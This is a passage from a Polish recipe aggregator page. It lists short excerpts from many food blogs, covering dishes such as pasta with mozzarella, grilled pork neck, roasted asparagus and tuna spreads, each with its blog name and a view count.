makaron w osolonej wodzie. Na patelni podsmażyć drobno pokrojoną cebulę. Dodać przeciśnięty przez praskę czosnek. Wlać pomidory. Przyprawić. Wrzucić kawałki mozzarelli i mieszać do rozpuszczenia się sera. Dodać do sosu makaron i dokładnie wymieszać. Całość oprószyć startym parmezanem i liśćmi bazylii

Karola gotuje
Karkówka z grilla 290

klasycznie podajcie z musztardą oraz ketchupem, pieczywem i jakąś smaczną sałatką, np. Sałatką grecką lub Pomidorami z serem i majonezem – za tym dodatkiem przepadają moi znajomi Zobaczcie też: Sos czosnkowy z ziołami Szaszłyki na grilla z kurczakiem Masło czosnkowe z ziołami | Na grilla, na grzanki Przepis na karkówkę z grilla Drukuj przepis Porcji: 6 Składniki 600 g karkówki

Kuchnia Bazylii
Kurczak z piekarnika : skrzydełka w miodzie, przepis 286

miodzie z pieczonymi ziemniakami i surówką z sałaty, rzodkiewek i fety. skrzydełka w miodzie z puree ziemniaczanym, sałatą rzymską i pomidorami koktajlowymi. skrzydełka w miodzie z grillowanymi warzywami i sosem tzatziki . skrzydełka w miodzie z ulubionym dipem majonezowym, czosnkowym lub pomidorowym. skrzydełka z kurczaka z ryżem jaśminowym, sałatą, fetą i pomidorkami koktajlowymi. Smacznego

Moja Książka Kucharska
Pieczone szparagi z cytryną i parmezanem 156

ziołowa sałatka ze szparagami makaron pełnoziarnisty ze szparagami omlet z zielonymi szparagami i pieczarkami risotto z białymi szparagami pizza z zielonymi szparagami sałatka ze szparagami i mozzarellą makaron z sosem szparagowym tarta ze szparagami i pomidorami najprostsza tarta z zielonymi szparagami tarta z zielonymi szparagami wiosenna sałatka ze szparagami tagliatelle ze szparagami Pieczone szparagi z cytryną i parmezanem Czas przygotowania

Kulinarne przygody Gatity
Tuńczykowa pasta z awokado i rzodkiewką 180

minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} Składniki:   1 dojrzałe awokado 1 puszka tuńczyka w sosie własnym Princes 5 większych rzodkiewek 1 jajko na twardo ½ pęczka szczypiorku ½ pęczka zielonej pietruszki 2 łyżki musztardy (można dać pół na pół z ostrą) Sól, pieprz do smaku Sposób przygotowania

Kuchnia w czekoladzie
ZAPIEKANA KANIWA CZEKOLADOWA Z TRUSKAWKAMI 163

profilaktyki w walce z nadciśnieniem, miażdżycą, cukrzycą, anemią. Nie zawiera glutenu. Kaniwę można przyrządzać zarówno na słodko, jak i na słono, do sałatek, pasztetów, jako zagęstnik do zup i sosów. Jest doskonałym zamiennikiem ziemniaków, ryżu czy kaszy. Składniki: 1 szklanka kaniwy (canihua) Radix-Bis 1 szklanka wody 1 szklanka mleka kokosowego 50 g gorzkiej czekolady min. 70% 2-3 łyżki

Kuchnia MagdaLeny
Dorsz pieczony 162

dymkę i pokrojony w plasterki czosnek. Szklimy. Dodajemy pomidory z puszki, doprawiamy solą, pieprzem i cukrem i dusimy razem przez 10 minut. Na koniec dodajemy pokrojonego w krążki pora. Sos przekładamy do ryby, zmniejszamy temperaturę piekarnika do 180 stopni i zapiekamy razem przez 15-20 minut. Pomidorki koktajlowe przesmażamy na pozostałej oliwie. Rybę podajemy z pieczonymi warzywami i pomidorkami

KUCHNIA POLSKA
Placki z gotowanych ziemniaków 414

każdej strony. Placki smażymy na rozgrzanym oleju na złoty kolor z każdej strony. Podajemy z ulubionymi dodatkami np. z kwaśną śmietaną, gęstym jogurtem, smażonymi pieczarkami , sałatką wiosenną lub sosem.   The post Placki z gotowanych ziemniaków appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Ciasto serowe z tuńczykiem, pomidorem i kawałkami mozzarelli 209

Ciasto piec (do tzw. suchego patyczka) w rozgrzanym piekarniku przez około 40-50 minut w temperaturze 180 stopni. Można podawać w wersji solo lub ze świeżymi warzywami - bądź ulubionym sosem. Tuńczyk to źródło pełnowartościowego białka czy niezbędnych nienasyconych kwasów tłuszczowych.  Dostarcza witaminy B, A i D, fosfor, żelazo i na dodatek jest fit!  To doskonała baza do sałatek

Di gotuje
Podpłomyk z marchewką, marchwiarz 247

bulionu. Na rozgrzaną patelnię z odrobiną oliwy dodajemy masło i wrzucamy pokrojoną marchewkę. Podsmażamy kilka chwil mieszając. Następnie dodajemy sok z pomarańczy i miód. Podsmażamy składniki do chwili, aż sos się zredukuje a marchew delikatnie zmięknie. Przyprawiamy solą, pieprzem, dodajemy zioła. Zdejmujemy z patelni. Na ciasto Rozczyn z 10g świeżych drożdży z odrobiną cukru i wody, 200g mąki orkiszowej jasnej

Leśny Zakątek
Makaron z ricottą i parmezanem 222

mlekiem. Doprawiamy solą, pieprzem. Na patelnię wrzucamy ugotowany makaron i wlewamy rozcieńczoną ricottę. Dodajemy starty parmezan i gotujemy do czasu aż nadmiar płynu odparuje i utworzy się kremowy sos. Podajemy natychmiast, posypane opcjonalnie dodatkową porcją parmezanu. Makaron z ricottą i parmezanem - pyszny obiad z wykorzystaniem moich ulubionych szparagów! [foodiepress] [hide] [/hide] Artykuł Makaron z ricottą i parmezanem pochodzi z serwisu

Pogotujmy.pl
Terrina jogurtowa z szparagami i salsą z łososia (bez laktozy) 225

stężenia.  4. Składniki na salsę kroimy na kawałki doprawiamy. Koperek siekamy.  Z octu winnego oraz miodu  a także oliwy z oliwek przygotowujemy dresing. Salsę doprawiamy polewamy sosem i odstawiamy by składniki się dobrze ze sobą przegryzły.  5. Stężałą terrinę kroimy na niewielki porcje i podajemy z salsą.  Smacznego

vaniliowoczekoladowa
Quiche brokułowy 226

jest Quiche? Jest to tarta na kruchym, słonym spodzie, wypełniona nadzieniem warzywnym polanym jajeczno-śmietanowym  sosem. Pyszna, szybka propozycja na kolację, albo na obiad :) Wymiary foremki: średnica 28 cm Temp. pieczenia 190C, 160C Czas pieczenia: 15 minut + 15 minut + 30-40 minut Składniki: 250 g mąki 125 g masła 250 g różyczek brokułu, sól 1 puszka kukurydzy 4 jajka

Różne smaki w kuchni
Pakieciki z tuńczykiem i ricottą w cieście filo 185

chrupiące pakieciki z tuńczykiem i ricottą. Rukoli, mięcie i dymce zawdzięczają świeży, wiosenny smak, podkreślony pieczoną cytryną. Składniki (na 9 pakiecików): Farsz 140 g odsączonego tuńczyka z puszki (w sosie własnym) 200 g ricotty dymka garść rukoli 6 listków mięty sok z połowy cytryny sól pieprz mielony Dodatkowo 2 płaty ciasta filo olej połówka cytryny przekrojonej wzdłuż jasny miód

Weekendy w domu i ogrodzie
Kura pod cegłą, czyli jak szybko upiec kurczaka 226

już bez obciążenia. Po tym czasie kurczak powinien być dobrze wypieczony. Na wszelki wypadek wyciągnij go jednak z piekarnika i nakłuj mięso na udach. Jeśli z nacięć wypłynie przezroczysty sos, kurczak jest gotowy. Jeśli nie, wstaw go jeszcze na 5 minut do pieca. Wyjmij kurczaka z pieca i odstaw na 15 minut, żeby odpoczął, a soki równomiernie rozłożyły się

Niedzielny kucharz
Drobiowa mozaika z czerwonym ryżem, szpinakiem i kukurydzą 168

Wystarczy kilka składników aby wyczarować smaczną wędlinę do chleba. Taką mozaikę można zjeść też na ciepło na obiad np. z sosem śmietanowym lub kurkowym. Przepis powstał na konkurs kreatywne gotowanie, który polega na przygotowaniu potrawy z gotowego zestawu składników. Rozwiń i czytaj przepis

Ewa w kuchni
Rolada szpinakowa z nadzieniem z tuńczyka i suszonych pomidorów 267

nadzieniem z tuńczyka i suszonych pomidorów O czym warto pamiętać przygotowując roladę. Użyłam tuńczyka w zalewie z oleju słonecznikowego. Można użyć także tuńczyka w zalewie z wody, czy w sosie własnym. Przed podaniem roladę warto włożyć na 30 minut do zamrażalnika. Będzie nam dużo łatwiej wtedy całość pokroić. Lubisz tuńczyka? Jeśli tak to koniecznie wypróbuj nasz przepis na Muffinki makaronowe

mecooks
Schab z grilla w marynacie jogurtowo-musztardowej 163

ostateczności upiec w piekarniku. (Zalecam użycie rękawa do pieczenia.) Koniecznie spróbujcie! 500g schabu Marynata: 5 łyżek jogurtu naturalnego (płaskich) 2 łyżki Musztardy Kieleckiej delikatesowej stołowej 2 łyżki sosu sojowego 1/2 łyżeczki papryki słodkiej 1/2 łyżeczki papryki ostrej 1/2 łyżeczki majeranku 3 ząbki czosnku  Przygotować marynatę. Czosnek należy drobno posiekać, a następnie wszystkie składniki porządnie wymieszać.   Schab pokroić

Di gotuje
Sałatka gyros z makaronem 210

Warstwowa, wyrazista w smaku sałatka z kurczakiem w przyprawie gyros, z kukurydzą, ogórkami, ostrą czerwoną cebulą w smakowitym sosie na bazie majonezu i keczupu połączona z makaronem to ciekawa propozycja na szybką imprezową sałatkę i sycące drugie śniadanie. Składniki: 500g fileta z kurczaka 150g makaronu mini muszelki 1/2 czerwonej papryki 1/2 zielonej papryki 2 czerwone cebule 1 puszka kukurydzy 250g

Szalona Kuchnia Eweliny
Śledzie po sułtańsku 198

przecier pomidorowy , ketchup i dodać namoczone w wodzie rodzynki. Wszystko razem zagotować około 2 minuta następnie wystudzić. Płaty śledziowe pokroić na paseczki. W słoiku układać warstwami śledzie i przykrywać sosem. Odstawić do lodówki na całą noc. śledzie po sułtańsku

O kuchni z uczuciem
Placki ziemniaczane bez mąki 231

miarę głębokim tłuszczu, żeby nie dolewać w trakcie smażenia. Po obustronnym usmażeniu placki odsączamy na ręcznikach papierowych lub na kratce. Serwujemy na gorąco z czym kto lubi: cukier, śmietana, sos grzybowy, łosoś wędzony.... Smacznego

chleba naszego
Zrazy wołowe 164

zrumienić. Przełożyć do garnka. Gotować na ogniu, pod przykryciem, przez około 2 godziny lub do czasu aż mięso będzie delikatne i kruche. Gdy mięso będzie już miękkie możemy zagęścić sos mąką wymieszaną z częścią wywaru, zagotować. Smacznego

Oka w rosole czyli KaFka gotuje
Zupa botwinka 2774

przecedzony rosół. Ja z reguły gotuję większą ilość bulionu lub rosołu i mrożę go w pojemnikach na zapas, by później, w razie potrzeby użyć go jako bazę do sosów i zup. Marchewkę, seler i pietruszkę obrać i zetrzeć na tarce o dużych oczkach, wrzucić na gotujący się bulion i gotować przez ok. 10 minut (jeśli mamy do dyspozycji młode warzywa

Kulinarne Przeboje
Chrupiący pieczony kalafior z pikantnym dipem rabarbarowym 193

łyżki wody i dusimy na małym ogniu. Gdy zmięknie, dodajemy ocet i chili. Dusimy jeszcze przez chwilę, po czym doprawiamy do smaku solą i pieprzem. Upieczonego kalafiora podajemy z sosem rabarbarowym. Smacznego :) Artykuł Chrupiący pieczony kalafior z pikantnym dipem rabarbarowym pochodzi z serwisu Mienta blog

Mienta blog
Sałatka z kaszą i zielonymi szparagami 157

kawałki. W międzyczasie cebulę kroimy w piórka.  W szklance mieszamy sól, pieprz, ocet i oliwę. Do miski wrzucamy kaszę, szparagi, cebulę i porwaną na kawałki rukolę. Wszystko zalewamy sosem, dokładnie mieszamy i posypujemy listkami kolendry lub pietruszki

Kulinarne przygody Gatity
gulasz z batatów i miechunki peruwiańskiej -- goulash with sweet potatoes and Peruvian bellows 207

rodzynki, albo dodawać do batoników, muesli, lodów, ciasteczek, czy deserów. Świetnie smakują, dobrze zaspokajają głód, więc stanowią znakomitą alternatywę dla niezdrowych, słonych chipsów. Warto nimi wzbogacić również smak sosów . Taki dodatek doskonale współgra ze słodki potrawami. Można go podawać również do mięs. Nie warto odmawiać sobie miechunki w każdej postaci, bo jej spożywanie to prawdziwa przyjemność dla zdrowia ! Składniki

w mojej kuchni
Gulasz ze schabu 231

oraz pół łyżeczki soli. Gotujemy pod przykryciem, na niedużym ogniu, przez około 1 godzinę *** *** Następnie dodajemy przecier pomidorowy oraz musztardę, mieszamy i doprawiamy do smaku solą oraz pieprzem. Jeżeli sos będzie zbyt rzadki możemy zagęścić go dodając łyżeczkę mąki rozpuszczonej w kilku łyżkach wody *** *** Gotowy gulasz podajemy z ziemniakami, kaszą lub kluskami oraz z ulubioną surówką. Do mojego dania podałam

Blog z Apetytem
MAKARON Z POMIDORAMI, ŚWIEŻĄ BAZYLIĄ I MOZZARELLĄ 214

minut. Na koniec dodaję posiekaną bazylię i pokrojoną w małą kostkę mozzarellę. Gotuję jeszcze przez chwilę do momentu rozpuszczenia się sera. W razie potrzeby doprawiam do smaku. Gotowy sos łączę z wcześniej ugotowanym makaronem

JejKuchnia
HALIBUT SMAŻONY - przepis na halibuta smażonego w mące 341

idealnego halibuta - przepis, składniki i przygotowanie. Oto składniki na smażonego halibuta SKŁADNIKI 4 dzwonka z halibuta ze skórą o grubości około 3cm sól morska i pieprz cytrynowy do smaku sos z cytryny do skropienia ryby mąka pszenna do panierowania olej lub masło sklarowane do smażenia Przepis na smażonego halibuta PRZYGOTOWANIE : Krok 1. Umyte i osuszone dzwonka halibuta oprószamy ze wszystkich

Moja Książka Kucharska
Kotlety mielone z mozzarellą 279

Kotlety mielone z mozzarellą to świetny pomysł nie tylko na obiad ale również jako przystawka na imprezę czy bankiet. Proste i pyszne danie nie wymaga od

Kulinarnyblog.pl - wiesz jak gotować!
Cukinia i papryka po włosku 193

łyżki soku z cytryny sól do smaku SPOSÓB PRZYGOTOWANIA cukinie pokroić w podłużne plastry o grubości pół centymetra i opiec na patelni bez tłuszczu lub na grilu. cukinię polać sosem przygotowanym z oleju, czosnku i cytryny jak w przepisie  klik paprykę pokroić w paski o grubosci pół centymetra i udusić razem z czosnkiem i olejem z oliwek

zielonacukinka
stripsy jak z KFC - chrupiące kawałki kurczaka w panierce 342

kurczaka taki jak w KFC :) Zapraszam do wypróbowania. Idealny na obiad lub imprezowy wieczór. Smakują zarówno na ciepło jak i na zimno :). Podajemy z ulubionymi dodatkami lub sosami :) Składniki: * filet z kurczaka 500 g * chili pieprz cayenne 1/2 łyżeczki * papryka słodka 1/2 łyżeczki * sól 1/2 łyżeczki Ciasto naleśnikowe: * jajko * mleko 1/4 szklanki * mąka 1/2 szklanki * chili pieprz cayenne

Kulinarne przygody
Spaghetti ze szparagami, kurczakiem i serem brie 175

patelnię. Jeśli wolimy makaron odcedzić, wówczas zostawiamy trochę wody po gotującym się makaronie i dolewamy ją na patelnię). Mieszamy aż ser się rozpuści i wytworzy się z niego sos, który oblepi makaron. Podajemy gorące

My simple kitchen
Przepiórcze jajka po indyjsku w mięsnej skorupce 172

głębokim , średnio rozgrzanym oleju , aż nabiorą złotego koloru . Po wyjęciu , układamy na papierowym ręczniku ,żeby odprowadzić nadmiar tłuszczu . Podajemy na gorąco lub na zimno , obie wersje smaczne Doskonałe z sosami , dipami , różnego rodzaju , do piwka , czy winka a także jako danie obiadowe Smacznego ! Artykuł Przepiórcze jajka po indyjsku w mięsnej skorupce pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
zapiekane szparagi z batatami i papryką 142

Sezon na szparagi się zaczął i można je już znaleźć w całkiem dobrej cenie. Postanowiłam zrobić je trochę w innej wersji, a przede wszystkim zdrowszej. Tym razem bez sosu i innych dodatków. Tylko odrobina oliwy i przyprawy. Idealnie na lekką kolację lub obiad.  Składniki: ok 10 szparagów 1 batat 1 papryka łyżka oliwy  przyprawy do smaku - zioła prowansalskie

Gotowanie z pasją
zapiekane szparagi z batatami i papryką 200

Sezon na szparagi się zaczął i można je już znaleźć w całkiem dobrej cenie. Postanowiłam zrobić je trochę w innej wersji, a przede wszystkim zdrowszej. Tym razem bez sosu i innych dodatków. Tylko odrobina oliwy i przyprawy. Idealnie na lekką kolację lub obiad.  Składniki: ok 10 szparagów 1 batat 1 papryka łyżka oliwy  przyprawy do smaku - zioła prowansalskie

Gotowanie z pasją
Szparagi w panierce z piekarnika 195

panierce i na blachę. Robimy tak z każdym szparagiem. Następnie umieszczamy je w piekarniku nagrzanym do 180 stopni na około 15 minut. Wyjmujemy i zajadamy.* Smacznego *Można podawać z sosem czosnkowym lub koperkowym, jako samodzielne danie w formie przekąski lub dodatek do obiadu

Kolizje Smaków
Ryż z mięsem mielonym, kukurydzą i zieloną fasolką szparagową 233

Dania z ryżem nie muszą być nudne i obciekające sosem. Polecamy ryż z mięsem mielonym i warzywami, który nam bardzo posmakował. Dodatek kukurydzy nadaje daniu chrupkości i słodkości :) Składniki na ryż z mięsem mielonym: – 500 g mięsa mielonego z łopatki wieprzowej – 150 g kukurydzy – 200 g zielonej fasolki szparagowej

Kuchenne Wariacje
Roladki z fetą otulone ciastem francuskim 185

piec ok 30 minut aż ciasto sie przyrumieni. Pod kratkę podstawić blaszkę ponieważ mięso podczas pieczenia puści soki. Gotowe roladki podawać z dowolnymi dodatkami, u mnie pieczone warzywa i sos czosnkowy

Monia miesza i gotuje
Surówka Coleslaw 196

Prosty i sprawdzony przepis na klasyczną surówkę Coleslaw - jedną z najbardziej znanych i lubianych surówek. Podstawowym składnikiem jest biała, szatkowana kapusta, drobniutko starta marchew i pyszny, nadający charakteru sos. Jeszcze raz sprawdza się reguła, że proste rzeczy są najlepsze! Najbardziej smakuje po paru godzinach spędzonych w lodówce. Gorąco polecam :)8 szklanek białej kapusty

Krokusowy Dom
Kotlety z indyka z warzywami 302

pieczone z rozmarynem – Satay z indyka pikantny – Indyk w potrawce – Dietetyczny indyk z kaszą i warzywami – Ćevapčići z mielonego mięsa z indyka – klopsiki w sosie koperkowym Z mielonego mięsa z indyka polecam zrobić na obiad pyszne kotlety mielone z warzywami. Kotlety mielone z indyka z warzywami: z cukinią, marchewką i papryką 500 g udźca

Damsko-męskie spojrzenie na kuchnię
Truskawki z makaronem 164

hartujemy. --    Truskawki kroimy na 4 części lub nie kroimy i zasypujemy cukrem. -- Dodajemy śmietanę i mieszamy około jednej minuty, do czasu połączenia się wszystkiego. Serwujemy makaron, polany sosem śmietanowym z truskawkami. Możemy też wymieszać całość i tak podawać. Smacznego

chleba naszego
Schab nadziewany 194

stron, następnie solimy mięso i po chwili  przyprawiamy obficie wcierając gotową przyprawę ~1 czubatą łyżkę. Do naczynia wkładamy smalec, warzywa i przyprawiony nafaszerowany schab, który dodatkowo możemy podlać sosem sojowym ~2-3 łyżki. -- Pieczemy w 200 st. C góra/dół 70-90 min. -- Po lekkim wystudzeniu 10-15 min. kroimy na porcje i serwujemy gorące. Można też

chleba naszego
Targi Turystyczne "WYPOCZYNEK" i Toruński Festiwal Smaków 167

taka miła niespodzianka. Pycha. Na targach spotkaliśmy wielu naszych przyjaciół i znajomych. Była Kaszubska Koza ze swoimi genialnymi serami. Józef Siadak – Specjały spod strzechy z najlepszymi octami, sosami, musztardami i syropami. Piotr Lenart – Niech cię Zakole promujący jagnięcinę, czyli (jak mawia) truflę wśród mięs. Ale festiwal i Targi to nie tylko jedzenie, ale również wykłady, spotkania i pokazy. Obiad Prezydencko

królestwo garów
Gastrofizyka. Nowa wiedza o jedzeniu Charlesa Spence’a 179

czytelników mojego bloga. Im więcej zdjęć jedzenia oglądasz, tym masz większą nadwagę liczoną wskaźnikiem BMI. Pornografia spożywcza promuje niezdrowe i kaloryczne potrawy z toną żółtego sera, cukru i sosami. Przez to trudniej nam się potem oprzeć pokusie i dokonujemy potem gorszych wyborów żywnieniowych. Gdybyśmy nie musieli opierać się food porn, silnej woli starczyłoby nam na dłużej. Porcje na zdjęciach

Ugotowane pozamiatane
Idealne na wiosnę roladki drobiowe ze szpinakiem i serem feta 184

smażymy przez około 12-13 minut, przewracając je co kilka minut na inny bok. Roladki podajemy z ziemniaczkami lub ryżem oraz surówką przygotowana najlepiej ze świeżych warzyw i polaną sosem vinegret. Przepis na Roladki drobiowe ze szpinakiem i serem feta w wersji do wydruku i PDF. Artykuł Idealne na wiosnę roladki drobiowe ze szpinakiem i serem feta pochodzi z serwisu

KulinarneImpresje.pl
Indyk z cukinią w sosie serowym 230

domu, bo dzieci jeszcze nie do końca zdrowe, pylenie się zaczęło i kichaniom, nie ma końca (alergia). Jeśli chodzi o propozycję obiadową, to dziś indyk z cukinią w sosie serowym. Prosto, ale naprawdę smacznie :-) Miłego poniedziałku Wam życzę :-) Składniki: około 400 g polędwicy z indyka 1 cukinia 100 g serka topionego  1 ząbek czosnku mała cebulka 100 ml śmietanki

kruche babeczki
Makaron ze szparagami, szpinakiem i fetą 231

skurczy. Posolić do smaku. Do dużej salaterki przełożyć makaron, szparagi i szpinak z suszonymi pomidorami. W małym słoiczku przygotować dressing. Ja po prostu dodaję wszystkie składniki i nim potrząsam. Sos wymieszać w salaterce z pozostałymi składnikami. Następnie pokruszyć po wierzchu delikatnie fetę. Smacznego, Anulla

Fabryka pomysłów
Rolada waflowa z nadzieniem ruskim 203

smaki ładnie się przegryzą, ale również sama rolada łatwiej się kroi. Roladę odsmażamy na klarowanym maśle lub przed odsmażeniem panierujemy w jajku i bułce tartej. Możemy jeść samą z sosami lub surówkami. Farsz ruski też robicie według waszych preferencji bo ja dodaję trochę dziwnych przypraw i dodatków, które niekoniecznie każdemu muszą przypaść do gustu. {"@context":"http:\/\/schema.org","@type":"Recipe","image

Mieszam w Garnku
Roladki z tortilli z szynką i warzywami 674

kilka plasterków szynki * kilka plasterków sera ok 150 g * ok 10 liści sałaty * pół papryki czerwonej * pół ogórka gruntowego Serek śmietankowy mieszamy z majonezem. każdy placek tortilli smarujemy powstałym sosem. ( ok. 1 czubata łyżka na każdy placek). rozkładamy szynkę i ser na całej tortilli. następnie sałatę, ogórek i paprykę rozkładamy na jednej połówce tortilli. Całość zwijamy od strony z sałatą

Kulinarne przygody
Duszone polędwiczki wieprzowe 172

garnka usmażone mięso i zalej wodą niewiele ponad poziom składników duś na małym ogniu przez ok godzinę na koniec dopraw do smaku przyprawami, które lubisz i aby zagęścić sos, możesz dodać zasmażkę podawaj z ulubionymi dodatkami Smacznego

Oka w rosole czyli KaFka gotuje
Szczaw – poznaj wyjątkowe właściwości tego niedocenianego przysmaku! 234

linkiem: https://akademiasmaku.pl/vademecum/dlaczego-warto-jesc-szczaw,596 . Pomysły na dania ze szczawiu Szczaw jest rośliną bardzo uniwersalną pod względem kulinarnym. Sprawdzi się zarówno jako dodatek, jak i główny składnik zup, sosów czy sałatek. Najpopularniejszym daniem ze szczawiu jest z pewnością wspomniana na początku zupa. Odpowiednio doprawiona, podana z jajkiem i chrupiącą grzanką jest idealnym pomysłem na lekki wiosenny lub letni obiad. Alternatywą

Kulinarnyblog.pl - wiesz jak gotować!
Domowy ocet jabłkowy 181

Naturalny ocet jabłkowy jest idealnym dodatkiem do wszelkiego rodzaju marynat do warzyw i mięsa lub jako składnik sosów do sałatek. Okazuje się, że przygotowanie w domu octu jabłkowego jest banalnie proste. Potrzebna nam będzie woda, odrobina cukru i oczywiście jabłka. Ja dodatkowo dałam też listek laurowy i rozmaryn. Warto jednak pamiętać, że podczas przygotowania octu trzeba zachować maksimum higieny. Wszystkie

Kulinarne przygody Gatity
Sałatka z tuńczyka 246

Składniki: 15-20  dag twardego sera żółtego 1 puszka tuńczyka w sosie własnym 6 jaj 4 ogórki kiszone 2 małe cebule 1 mała puszka kukurydzy 4 łyżki majonezu Sól himalajska do smaku Świeżo mielony pieprz o smaku Pęczek szczypiorku do posypania Sposób przygotowania: Jajka ugotować na twardo, obrać, wystudzić zetrzeć na tarce jarzynowej, obraną cebulę posiekać w drobną kostkę

Wanilia i Kardamon
Pizza - jak zrobić w domu? 4 przepisy na wiosenną pizzę! 236

przede wszystkim ciasto. Przepis na ciasto do pizzy, jest podstawą dobrego wypieku. To co dodamy na wierzch to już tylko ogranicza Nas wyobraźnia. Ja ostatnio polubiłam pizzę bez sosu pomidorowego dzięki czemu jest dużo delikatniejsza i szlachetniejsza. Możemy też bardziej poczuć smak składników na pizzy. Dzisiaj zdradzę Wam aż cztery przepisy na pizzę! To co pieczemy? przepis na ciasto

SMYKWKUCHNI
Omlet z tuńczykiem i jarmużem 205

obłędne śniadanie. Może być też w wersji obiadowej, ja nie jestem w stanie zjeść sama takiego omletu, chociaż jest bardzo dobry. Dodałam do niego fajnego tuńczyka w kawałkach w sosie własnym Princes . Bardzo lubię jak są duże kawałki tej ryby. Tuńczyk  Princes jest wysokiej jakości rybą. Można go używać do dań na ciepło i na zimno. #MasterTuńczyk

wesoła kuchnia
Makaron z kiełbasą po gospodarsku 176

zarumienienia. Dodajemy warzywa, posypujemy vegetą, dusimy aż puszczą soki. Wtedy dodajemy pomidory, zalewamy 1 szklanką wody. Dusimy przez około 25 minut do miękkości składników. Doprawiamy do smaku. 3. Powstały sos łączymy z makaronem. Przed podaniem możemy posypać posiekaną natką pietruszki

Szefowa kuchni
Zapiekanka z Batata ,warzyw i kurczaka 137

pysznie ;) Polecam :) SKŁADNIKI: Zapiekanki: 1-2 duże Bataty  1 Filet z Kurczaka  200 g mrożonych warzyw chińskich sół i pieprz 1łyżeczka papryki  olej rzepakowy  Sos: 1 jajko 200 ml śmietany 18% 10 dag tartego sera żółtego np. cheedar  1 łyżka cebulki prażonej 1 łyżka drobno posiekanego koperku sól i pieprz do smaku  1 łyżeczka

Gotowanie Patki
Orzeźwiający koktajl mleczny i "Dziewięć kobiet, jedna sukienka" 210

dodać do nich miód. Całość zmiksować, dolewając tyle mleka, by uzyskać żądaną konsystencję. Moje mięty obudziły się po zimie i możemy cieszyć się ich smakiem, dodając je do herbaty, sosów czy koktajli. Jakie cuda potrafi uczynić mała czarna sukienka, wie każda kobieta. Wie również Jane L. Rosen i napisała o tym książkę pt. " Dziewięć kobiet, jedna sukienka ". Historię kilku kobiet

Weekendy w domu i ogrodzie
Pasta z czosnku niedźwiedziego. 183

oliwą i można ją przechowywać nawet kilka miesięcy. Pastę z czosnku niedźwiedziego wykorzystuję do bardzo wielu potraw. Jest bazą do pysznego pesto, dodatkiem do zup, zimnych i ciepłych sosów, dressingów i kanapek. Wkrótce pojawią się na blogu 3 przepisy, w których zastosowałam pastę z czosnku niedźwiedziego. Składniki: czosnek niedźwiedzi (u mnie 10 pęczków) olej lub oliwa z oliwek (u mnie

Codziennik Kuchenny
Duszona karkówka z pieczarkami 191

Dusimy pod przykryciem do momentu aż mięso zmięknie. Pod koniec duszenia dodajemy majeranek i tymianek.  W szklance rozpuszczamy w niewielkiej ilości zimnej wody mąkę ziemniaczaną. Zawiesinę wlewamy do sosu mięsnego, mieszamy.  Całość doprawiamy do smaku solą i pieprzem. Mięso podajemy np. z sałatką z kiszonych ogórków (przepis znajdziesz  tutaj

Qchnia po prostu
Placki ziemniaczane jak pizza 196

jajko, mąkę i przyprawy.Wymieszać i usmażyć dość duże placki [ u mnie placki z  3-4 łyżek ciasta]. Usmażone placki przełożyć na blaszkę.Placki można posmarować majonezem lub sosem czosnkowym, ułożyć pieczarki,  pokrojoną paprykę i pomidora.Posypać tartym serem. Chwilę zapiekać, aż ser się rozpuści

Moje domowe kucharzenie
Pieczony omlet z warzywami 189

jajka 150g jogurtu naturalnego 3 łyżki mąki orkiszowej pełnoziarnistej Warzywa: zielony groszek, czerwona papryka, czerwona cebula, oliwki, pomidorki koktajlowe, cukinia Natka pietruszki Przyprawy: czubryca zielona, ostra wędzona papryka, sos sojowy, pieprz Jajka połączyć z jogurtem Warzywa i natkę drobno posiekać Warzywa połączyć z masą jajeczno-jogurtową, przyprawić Wylać do formy (ja piekłam w silikonowej, nie ma problemu z wyjęciem omleta

HealthyCreations
Pasta z tuńczyka na kanapki 139

Składniki: 4 ugotowane na twardo jaja 1 pęczek szczypiorku 1 puszka tuńczyka w sosie własnym 3 łyżki majonezu sól i pieprz do smaku opcjonalnie 4 łyżki kukurydzy konserwowej i groszku zielonego Przygotowanie: jajka obierz ze skorupki i zetrzyj na tarce do warzyw na grubych oczkach dodaj do nich odsączonego z zalewy tuńczyka, opcjonalnie kukurydzę i groszej dopraw solą i pieprzem

Oka w rosole czyli KaFka gotuje
Krokiety ziemniaczane 203

Krokiety ziemniaczane - jako dodatek do mięsa, gulaszu, ryby lub z pysznym sosem np. grzybowym. Smaczne także jako samodzielne danie ponieważ ten przepis przewiduje dodatek sera w środku  . Krokiety ziemniaczane podane z warzywami to pyszne wegetariańskie   danie . Krokiety ziemniaczane SKŁADNIKI 600g ziemniaków 2 jajka łyżka masła kawałek żółtego sera bułka tarta sól,pieprz olej do smażenia SPOSÓB PRZYGOTOWANIA Ugotowane

zielonacukinka
Mięso mielone na patyku 207

mięsem tak jak na zdjęciu Przygotowane patyczki z mięsem panierować najpierw w jajku a potem w bułce tartej Smażyć na patelni na rumiano Podawać jeszcze gorące z dodatkiem warzyw, sosów, ziemniaków, ryżu, kaszy itd SMACZNEGO :) (adsbygoogle = window.adsbygoogle || []).push

zielonacukinka
Wiosenna sałatka do kolacji 170

mozzarellę w kostkę. Do malej miseczki przełożyć posiekany i lekko osolony ząbek czosnku, dodać szczyptę pieprzu, oregano, sok z cytryny, 2 łyżki oliwy i całość energicznie wymieszać. Polać sałatkę sosem przed podaniem. Smacznego

Wino Francja Kuchnia
Kuleczki z tuńczyka i serka 211

Pyszne małe kuleczki. Bardzo szybkie w przygotowaniu, świetnie smakują na zimno i ciepło podane z ketchupem lub innym sosem. Dzieci będą za nimi przepadać. Moja 3,5 letnia córeczka nie mogła się od nich oderwać. Gdy się skończyły musiałam jej obiecać że na pewno jeszcze je zrobię. Składniki: - 185 g tuńczyka Princes w oleju rzepakowym - 150 g serka śmietankowego

Kulinarne życie
ŻEBERKA Z GRILLA 189

odpowiednimi dodatkami będzie jeszcze lepsze i ciekawsze. Oto kilka pomysłów na żeberka na grilla: żeberka z grilla, marynowana papryka z miodem i kromka chrupiącego pieczywa żeberka z grilla z sosem chrzanowym i chrupiącym chlebem żeberka z grilla z sałatką " Duch Korsyki" żeberka z grilla z pieczonymi ziemniakami i korniszonami Smacznego :)   Zobacz również przepis na karkówkę z grilla

Moja Książka Kucharska
Quesadilla-meksykańskie przekąski 390

